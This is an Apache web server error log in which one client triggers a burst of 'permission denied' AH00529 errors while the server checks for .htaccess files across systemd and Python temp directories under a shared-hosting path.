[Fri Jul 17 09:19:46.911694 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-ifxtoxp0/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-ifxtoxp0/' is executable
[Fri Jul 17 09:19:46.911719 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-chronyd.service-4Peipp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-chronyd.service-4Peipp/' is executable
[Fri Jul 17 09:19:46.911751 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php74-php-fpm.service-0WhLZO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php74-php-fpm.service-0WhLZO/' is executable
[Fri Jul 17 09:19:46.911776 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php73-php-fpm.service-2puXWC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php73-php-fpm.service-2puXWC/' is executable
[Fri Jul 17 09:19:46.911815 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-8zka35um/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-8zka35um/' is executable
[Fri Jul 17 09:19:46.911841 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-pdns.service-vznRUo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-pdns.service-vznRUo/' is executable
[Fri Jul 17 09:19:46.911873 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php82-php-fpm.service-wsfTVB/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php82-php-fpm.service-wsfTVB/' is executable
[Fri Jul 17 09:19:46.911898 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-7tftkvj_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-7tftkvj_/' is executable
[Fri Jul 17 09:19:46.911951 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/T_o_jaWeLb/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/T_o_jaWeLb/' is executable
[Fri Jul 17 09:19:46.912005 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/rghNv0af8s/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/rghNv0af8s/' is executable
[Fri Jul 17 09:19:46.912044 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php73-php-fpm.service-xrpwCu/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php73-php-fpm.service-xrpwCu/' is executable
[Fri Jul 17 09:19:46.912075 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-gc4td40u/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-gc4td40u/' is executable
[Fri Jul 17 09:19:46.912106 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php73-php-fpm.service-05YX00/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php73-php-fpm.service-05YX00/' is executable
[Fri Jul 17 09:19:46.912157 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/71EusedGIC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/71EusedGIC/' is executable
[Fri Jul 17 09:19:46.912216 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/NYB75leexE/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/NYB75leexE/' is executable
[Fri Jul 17 09:19:46.912271 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php83-php-fpm.service-evf9TE/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php83-php-fpm.service-evf9TE/' is executable
[Fri Jul 17 09:19:46.912299 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php72-php-fpm.service-bTkIxX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php72-php-fpm.service-bTkIxX/' is executable
[Fri Jul 17 09:19:46.912331 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-qft7fw0h/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-qft7fw0h/' is executable
[Fri Jul 17 09:19:46.912358 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php81-php-fpm.service-hBHl7k/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php81-php-fpm.service-hBHl7k/' is executable
[Fri Jul 17 09:19:46.912383 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-d3zmohie/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-d3zmohie/' is executable
[Fri Jul 17 09:19:46.912410 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ssa-agent.service-uN42rQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ssa-agent.service-uN42rQ/' is executable
[Fri Jul 17 09:19:46.912465 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php81-php-fpm.service-mxmdkW/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php81-php-fpm.service-mxmdkW/' is executable
[Fri Jul 17 09:19:46.912492 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-01tz5r8p/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-01tz5r8p/' is executable
[Fri Jul 17 09:19:46.912527 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php74-php-fpm.service-AKNOXZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php74-php-fpm.service-AKNOXZ/' is executable
[Fri Jul 17 09:19:46.912559 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-chronyd.service-ANYrNO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-chronyd.service-ANYrNO/' is executable
[Fri Jul 17 09:19:46.912595 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php74-php-fpm.service-1Xlv4c/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php74-php-fpm.service-1Xlv4c/' is executable
[Fri Jul 17 09:19:46.912622 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php81-php-fpm.service-xAX9JU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php81-php-fpm.service-xAX9JU/' is executable
[Fri Jul 17 09:19:46.912712 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-pdns.service-kPoqxE/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-pdns.service-kPoqxE/' is executable
[Fri Jul 17 09:19:46.912750 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/lost+found/' is executable
[Fri Jul 17 09:19:46.912830 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php74-php-fpm.service-y8tyoS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php74-php-fpm.service-y8tyoS/' is executable
[Fri Jul 17 09:19:46.912858 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/K33qkSRWG0/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/K33qkSRWG0/' is executable
[Fri Jul 17 09:19:46.912909 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/z3eDofRk0u/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/z3eDofRk0u/' is executable
[Fri Jul 17 09:19:46.912948 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-1mha2s9w/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-1mha2s9w/' is executable
[Fri Jul 17 09:19:46.912976 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php83-php-fpm.service-q7pQD4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php83-php-fpm.service-q7pQD4/' is executable
[Fri Jul 17 09:19:46.912999 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-fz1y_r6y/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-fz1y_r6y/' is executable
[Fri Jul 17 09:19:46.913024 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-u1miyewp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-u1miyewp/' is executable
[Fri Jul 17 09:19:46.913061 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php82-php-fpm.service-NOTfQ2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php82-php-fpm.service-NOTfQ2/' is executable
[Fri Jul 17 09:19:46.913090 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/Fgn0Ual_ay/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/Fgn0Ual_ay/' is executable
[Fri Jul 17 09:19:46.913150 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-chronyd.service-be8JA8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-chronyd.service-be8JA8/' is executable
[Fri Jul 17 09:19:46.913187 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php73-php-fpm.service-NPBzYQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php73-php-fpm.service-NPBzYQ/' is executable
[Fri Jul 17 09:19:46.913217 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-systemd-coredump@9-216503-0.service-5bQ98Y/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-systemd-coredump@9-216503-0.service-5bQ98Y/' is executable
[Fri Jul 17 09:19:46.913243 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php81-php-fpm.service-PMp8VP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php81-php-fpm.service-PMp8VP/' is executable
[Fri Jul 17 09:19:46.913294 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php72-php-fpm.service-ky6uUR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php72-php-fpm.service-ky6uUR/' is executable
[Fri Jul 17 09:19:46.913322 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-chronyd.service-pdjY9s/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-chronyd.service-pdjY9s/' is executable
[Fri Jul 17 09:19:46.913349 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php81-php-fpm.service-jTokpq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php81-php-fpm.service-jTokpq/' is executable
[Fri Jul 17 09:19:46.913374 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/fBKTZx46vS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/fBKTZx46vS/' is executable
[Fri Jul 17 09:19:46.913402 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/DImUvykgV8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/DImUvykgV8/' is executable
[Fri Jul 17 09:19:46.913428 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php83-php-fpm.service-PvO8Ec/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php83-php-fpm.service-PvO8Ec/' is executable
[Fri Jul 17 09:19:46.913453 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/HMCdlbxAGJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/HMCdlbxAGJ/' is executable
[Fri Jul 17 09:19:46.913508 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/KMMyc9r1_o/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/KMMyc9r1_o/' is executable
[Fri Jul 17 09:19:46.913535 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/7uEaXfuep0/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/7uEaXfuep0/' is executable
